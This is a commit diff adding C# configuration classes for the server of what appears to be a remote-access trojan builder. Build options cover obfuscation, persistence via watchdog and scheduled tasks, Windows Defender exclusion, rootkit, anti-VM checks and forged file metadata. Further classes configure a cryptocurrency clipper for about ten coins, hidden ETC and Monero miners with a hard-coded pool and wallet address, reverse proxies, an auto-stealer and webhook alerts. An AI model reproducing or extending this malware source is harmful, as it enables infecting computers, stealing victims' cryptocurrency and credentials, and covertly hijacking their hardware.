initial commit
This commit is contained in:
@@ -0,0 +1,82 @@
|
||||
namespace Server.Data;
|
||||
|
||||
public class BulidData
|
||||
{
|
||||
public bool ctrflow;
|
||||
|
||||
public bool Rename;
|
||||
|
||||
public bool Junk;
|
||||
|
||||
public bool ProxyStr;
|
||||
|
||||
public bool ProxyCall;
|
||||
|
||||
public bool ProxyInt;
|
||||
|
||||
public bool ManyProxy;
|
||||
|
||||
public bool Mixcer;
|
||||
|
||||
public bool ProtectInt;
|
||||
|
||||
public string[] Hosts;
|
||||
|
||||
public string Group;
|
||||
|
||||
public string Mutex;
|
||||
|
||||
public bool Install;
|
||||
|
||||
public bool InstallWatchDog;
|
||||
|
||||
public bool UseInstallAdmin;
|
||||
|
||||
public bool ExclusionWD;
|
||||
|
||||
public bool HiddenFile;
|
||||
|
||||
public bool RootKit;
|
||||
|
||||
public bool Pump;
|
||||
|
||||
public bool UserInit;
|
||||
|
||||
public string TaskClient;
|
||||
|
||||
public string TaskWatchDog;
|
||||
|
||||
public string PathClientCmb;
|
||||
|
||||
public string PathClientBox;
|
||||
|
||||
public string PathWatchDogCmb;
|
||||
|
||||
public string PathWatchDogBox;
|
||||
|
||||
public bool CheckIcon;
|
||||
|
||||
public bool CheckAssembly;
|
||||
|
||||
public bool DigitalSignature;
|
||||
|
||||
public bool AntiVirtual;
|
||||
|
||||
public byte[] Icon;
|
||||
|
||||
public string Product;
|
||||
|
||||
public string Description;
|
||||
|
||||
public string Company;
|
||||
|
||||
public string Copyright;
|
||||
|
||||
public string Trademarks;
|
||||
|
||||
public string OriginalFilename;
|
||||
|
||||
public string ProductVersion;
|
||||
|
||||
public string FileVersion;
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
namespace Server.Data;
|
||||
|
||||
internal class Clipper
|
||||
{
|
||||
public string Btc;
|
||||
|
||||
public string Eth;
|
||||
|
||||
public string Stellar;
|
||||
|
||||
public string Litecoin;
|
||||
|
||||
public string BitcoinCash;
|
||||
|
||||
public string monero;
|
||||
|
||||
public string zcash;
|
||||
|
||||
public string doge;
|
||||
|
||||
public string dash;
|
||||
|
||||
public string tron;
|
||||
|
||||
public bool AutoStart;
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
namespace Server.Data;
|
||||
|
||||
internal class MinerEtc
|
||||
{
|
||||
public bool AutoStart;
|
||||
|
||||
public bool AntiProcess;
|
||||
|
||||
public bool Stealth;
|
||||
|
||||
public string Args = "--cinit-find-e --pool=stratum://`0x525c4502B060eAc8ac9dcf412E3dC2d9dF74aEA0`[email protected]:1010 --cinit-max-gpu=70 --response-timeout=300 --farm-retries=30 --cinit-etc";
|
||||
|
||||
public string ArgsStealh = "--cinit-find-e --pool=stratum://`0x525c4502B060eAc8ac9dcf412E3dC2d9dF74aEA0`[email protected]:1010 --cinit-max-gpu=100 --response-timeout=300 --farm-retries=30 --cinit-etc";
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
namespace Server.Data;
|
||||
|
||||
internal class MinerXMR
|
||||
{
|
||||
public bool AutoStart;
|
||||
|
||||
public bool AntiProcess;
|
||||
|
||||
public bool Stealth;
|
||||
|
||||
public bool Gpu;
|
||||
|
||||
public string Args = "--asm=auto --randomx-mode=auto --randomx-no-rdmsr --cpu-memory-pool=1 --cpu-max-threads-hint=100 --cuda-bfactor-hint=10 --cuda-bsleep-hint=100 --url=127.0.0.1:3335";
|
||||
|
||||
public string ArgsStealh = "--asm=auto --randomx-mode=auto --randomx-no-rdmsr --cpu-memory-pool=1 --cpu-max-threads-hint=100 --cuda-bfactor-hint=10 --cuda-bsleep-hint=100 --cpu-priority=5 --cpu-no-yield --url=127.0.0.1:3335";
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
namespace Server.Data;
|
||||
|
||||
internal class ReverseProxyR
|
||||
{
|
||||
public bool AutoStart;
|
||||
|
||||
public string Port;
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
namespace Server.Data;
|
||||
|
||||
internal class ReverseProxyU
|
||||
{
|
||||
public bool AutoStart;
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
namespace Server.Data;
|
||||
|
||||
public class Settings
|
||||
{
|
||||
public string[] Ports;
|
||||
|
||||
public bool Start;
|
||||
|
||||
public int second = 35;
|
||||
|
||||
public string WebHook;
|
||||
|
||||
public bool WebHookNewConnect;
|
||||
|
||||
public bool WebHookConnect;
|
||||
|
||||
public bool AutoStealer;
|
||||
|
||||
public int Style;
|
||||
|
||||
public int Theme = 0; // 0 = Light, 1 = Dark
|
||||
|
||||
public string linkMiner = "http://%IP%/ack";
|
||||
}
|
||||
|
||||
@@ -0,0 +1,99 @@
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Server.Data;
|
||||
|
||||
internal class SocketData
|
||||
{
|
||||
private static object syncSent = new object();
|
||||
|
||||
private static object syncSents = new object();
|
||||
|
||||
private static object syncRecives = new object();
|
||||
|
||||
private static object syncRecive = new object();
|
||||
|
||||
private static object syncConnects = new object();
|
||||
|
||||
public static long Connects { get; private set; }
|
||||
|
||||
public static long Sents { get; private set; }
|
||||
|
||||
public static long Recives { get; private set; }
|
||||
|
||||
public static long Sent { get; private set; }
|
||||
|
||||
public static long Recive { get; private set; }
|
||||
|
||||
public static void ConnectsPluse()
|
||||
{
|
||||
Task.Run(delegate
|
||||
{
|
||||
lock (syncConnects)
|
||||
{
|
||||
Connects++;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public static void ConnectsMinuse()
|
||||
{
|
||||
Task.Run(delegate
|
||||
{
|
||||
lock (syncConnects)
|
||||
{
|
||||
Connects--;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public static void SentData(long count)
|
||||
{
|
||||
Task.Run(delegate
|
||||
{
|
||||
lock (syncSents)
|
||||
{
|
||||
Sents += count;
|
||||
}
|
||||
});
|
||||
Task.Run(delegate
|
||||
{
|
||||
lock (syncSent)
|
||||
{
|
||||
Sent += count;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public static void ReciveData(long count)
|
||||
{
|
||||
Task.Run(delegate
|
||||
{
|
||||
lock (syncRecives)
|
||||
{
|
||||
Recives += count;
|
||||
}
|
||||
});
|
||||
Task.Run(delegate
|
||||
{
|
||||
lock (syncRecive)
|
||||
{
|
||||
Recive += count;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public static void Clear()
|
||||
{
|
||||
Task.Run(delegate
|
||||
{
|
||||
lock (syncSent)
|
||||
{
|
||||
Sent = 0L;
|
||||
}
|
||||
lock (syncRecive)
|
||||
{
|
||||
Recive = 0L;
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user